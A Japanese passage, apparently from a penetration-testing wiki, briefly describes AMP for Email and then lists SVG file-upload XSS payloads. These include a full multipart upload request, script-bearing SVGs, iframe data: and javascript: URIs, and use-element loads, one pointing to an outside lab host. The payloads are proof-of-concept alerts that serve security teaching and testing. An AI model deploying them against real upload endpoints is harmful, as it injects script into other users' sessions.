Amp4Email内のXSS

AMPは、モバイルクライアント上で超高速なWebページを開発するための技術として知られています。AMPは、JavaScriptによってサポートされるHTMLタグのセットで、パフォーマンスとセキュリティに焦点を当てつつ、簡単に機能を有効にすることができます。カルーセルからレスポンシブなフォーム要素、リモートエンドポイントからの新鮮なコンテンツの取得まで、あらゆるものにAMPコンポーネントがあります。

AMP for Emailフォーマットは、メールメッセージで使用できるAMPコンポーネントのサブセットを提供します。AMPメールの受信者は、メール内で直接AMPコンポーネントを表示し、対話することができます。

GmailのAmp4Email内のXSSに関する記事

ファイルをアップロードしてXSSを実行するsvg

以下のようなファイルを画像としてアップロードします(http://ghostlulz.com/xss-svg/より):

Content-Type: multipart/form-data; boundary=---------------------------232181429808
Content-Length: 574
-----------------------------232181429808
Content-Disposition: form-data; name="img"; filename="img.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert(1);
</script>
</svg>
-----------------------------232181429808--
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<script type="text/javascript">alert("XSS")</script>
</svg>
<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert("XSS");
</script>
</svg>
<svg width="500" height="500"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>

<foreignObject width="500" height="500">
<iframe xmlns="http://www.w3.org/1999/xhtml" src="data:text/html,&lt;body&gt;&lt;script&gt;document.body.style.background=&quot;red&quot;&lt;/script&gt;hi&lt;/body&gt;" width="400" height="250"/>
<iframe xmlns="http://www.w3.org/1999/xhtml" src="javascript:document.write('hi');" width="400" height="250"/>
</foreignObject>
</svg>
<svg><use href="//portswigger-labs.net/use_element/upload.php#x"/></svg>
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />

さらに多くのSVGペイロードを https://github.com/allanlw/svg-cheatsheet で見つける

Misc JS Tricks & 関連情報

{% content-ref url="other-js-tricks.md" %} other-js-tricks.md {% endcontent-ref %}

XSS リソース

XSS ツール

こちらでXSS用のツールを見つける


バグバウンティのヒント: Intigriti登録し、ハッカーによって作られた、ハッカーのためのプレミアムバグバウンティプラットフォームであるIntigritiで活動を始めましょう!https://go.intigriti.com/hacktricks で今日から参加し、$100,000までのバウンティを獲得しましょう!

{% embed url="https://go.intigriti.com/hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥